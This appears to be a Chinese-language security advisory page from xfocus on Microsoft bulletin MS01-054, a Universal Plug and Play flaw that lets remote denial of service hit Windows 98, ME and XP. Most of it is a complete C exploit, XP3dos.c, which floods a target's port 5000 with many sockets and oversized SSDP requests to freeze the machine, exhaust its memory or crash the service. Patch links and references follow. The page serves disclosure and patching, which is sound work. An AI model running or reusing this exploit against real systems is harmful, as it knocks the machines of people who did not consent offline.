xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

MS01-054:非法通用plug和play请求会破坏系统操作


发布时间:2001-11-03
更新时间:2001-11-03
严重程度:
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式

受影响系统
Windows 98, Windows ME, Windows XP
详细描述
Universal Plug and Play (UPnP) 允许计算机发现和使用基于网络的设备,Windows ME和XP包括自身的UPnPF服务,Windows 98和98SE本身没有包含UPnP服务,但可以通过XP中附带的Internet连接共享客户端进行安装。

其中漏洞由于UPnP服务没有正确的处理部分非法UPnP亲请求,在WINDOWS 98,
98SE和ME系统上,接收到此类亲求可以导致系统性能变慢,而在XP上可以导致内存泄露问题,每次XP系统接收到这个请求,一小部分内容就会不能回收而不能使用,重复请求可以导致系统产生拒绝服务。

测试代码
gcc XP3dos.c -o XP3dos
/*------------------------------- Snip here -----------------------------*/
/*-----------------------------------------------

XP3dos.c
Three WinXP/ME DOS Attacks
by 'ken' of FTU -- 10/23/01
franklin_tech_unlimited@yahoo.com

------------------------------------------------*/

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <string.h>

#define MAX 256
#define SS struct sockaddr

char *DISCOVER[] = {
        "M-SEARCH * HTTP/1.1\r\n"
              "HOST: 239.255.255.250:1900\r\n"
              "MAN: \"ssdp:discover\"\r\n"
              "MX: 5\n"
              "ST: \"ssdp:all\"\r\n"
        };


int main(int argc, char *argv[])
{

int socks[1024], i, k, num_of_socks, port;
struct sockaddr_in winxpbox;

char *ip;
char temp[10000];
char sploit[12000];
char buffer[MAX+1];

    printf("\nThree WinXP/ME UPNP DOS Attacks");
    printf("\nby 'ken' of FTU -- 10/23/01");
    printf("\nfranklin_tech_unlimited@yahoo.com\n\n");

    if(argc<3)
          exit(print_opts());

    ip=argv[1];
    winxpbox.sin_family=AF_INET;
    winxpbox.sin_addr.s_addr=inet_addr(ip);
    winxpbox.sin_port=htons(5000);


    if(strstr(argv[2],"-tf")){
        num_of_socks = 1021;
        }
    else if(strstr(argv[2],"-dm")){
        num_of_socks = 199;
        }
    else if(strstr(argv[2],"-ca")){
        num_of_socks = 4;
        }
    else{
        print_opts();
        return 0;
        }


    /* build sockets */

    for(k=0;k<=num_of_socks-1;k++){
            printf("Creating socket #%i!\n",k+1);
            socks[k]=socket(AF_INET,SOCK_STREAM,0);    
            if(socks[k]<0) exit(printf("Socket error\n"));
        /* this line eliminates need to change format to do-while
           and guarentees only one socket is created/referenced on the -ca flag*/
        if(num_of_socks==4) break;
        }

        printf("\nTrying to Connect....\n");

    for(k=0;k<num_of_socks-2;k++){
          if((connect(socks[k],(struct sockaddr *) &winxpbox, sizeof(winxpbox)))<0)
            exit(printf("Connection error: Socket #%i\n",k+1));
        
            printf("Socket #%i  Connected...!\n",k+1);
        if(num_of_socks==4)break;
            }

/********************************************************************/
    
    if((strstr(argv[2],"ca")) || (strstr(argv[2],"dm"))){
        sprintf(sploit,"%s",*DISCOVER);
        printf("\nSending Header of Exploit!\n\n");
        write(socks[0],sploit,strlen(sploit));
        
        if(strstr(argv[2],"dm")){
            printf("Building Exploit Code Now...!\n");
            for(i=0;i<=9999;i++){
                temp[i]='A';        
                }
            for(k=1;k<=num_of_socks-4;k++){
                write(socks[k],sploit,strlen(sploit));
                }
            for(i=0;i<=1999;i++){
                for(k=0;k<=num_of_socks-4;k++){
                    sprintf(sploit,"%s%s",temp,temp);
                    printf("Attacking host with sploit! 20000 A's times %i:On Socket #%i\n",i+1,k+1);
                    write(socks[k],sploit,strlen(sploit));
                    }
                }
            }
        }

/**********************************************************************/

/* send keystrokes saying we finished transmitting data */
    for(k=0;k<=num_of_socks-4;k++){
          sprintf(sploit,"\r\n\r\n");
        printf("Sending Closing Keystrokes for Socket #%i\n",k+1);
          write(socks[k],sploit,strlen(sploit));
        if(num_of_socks==4) break;
          }
  

/* Guess status */
/* 'ken': this code was for debugging. I left it in here... */

/***************************************
    for(k=0;k<=num_of_socks-4;k++){
          if(read(socks[k],buffer,sizeof(buffer))<0)
            exit(printf("\n\nNo reply: machine crashed?\n\n"));
       else
            printf("%s",buffer);
            printf("\n\nMachine replied: Failed to crash!\n\n");
        }
***************************************/


/* close socket  */

    for(k=0;k<=num_of_socks-4;k++){
        printf("Closing Socket #%i\n",k+1);
          close(socks[k]);
        if(num_of_socks==4) break;
          }

    printf("\nFinished DOSing WinXP/ME");
    printf("\nHave a nice day! -'ken'\n\n");

    return 0;
}

print_opts()
{
    
    printf("\n **** WinXP/ME UPNP DOS Usage ****");
    printf("\n<ip address of WinXP/ME box><exploit>");
    printf("\n exploit choices:");
    printf("\n -tf  temporary freeze");
    printf("\n -dm  deplete memory");
    printf("\n -ca  crash application\n\n");

    return;
}

/*------------------------------- Snip here -----------------------------*/
/* EOF */

解决方案
下载补丁:
Microsoft 98 and 98SE:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=33592
Microsoft ME:
http://www.microsoft.com/Windowsupdate
Microsoft XP:
此问题可以通过升级标题为"Windows XP Update Package, October 25, 2001"的
包消除, 目录如下:http://www.microsoft.com/Windowsupdate

相关信息
参考:http://archives.neohapsis.com/archives/bugtraq/2001-11/0010.html
http://archives.neohapsis.com/archives/bugtraq/2001-11/0009.html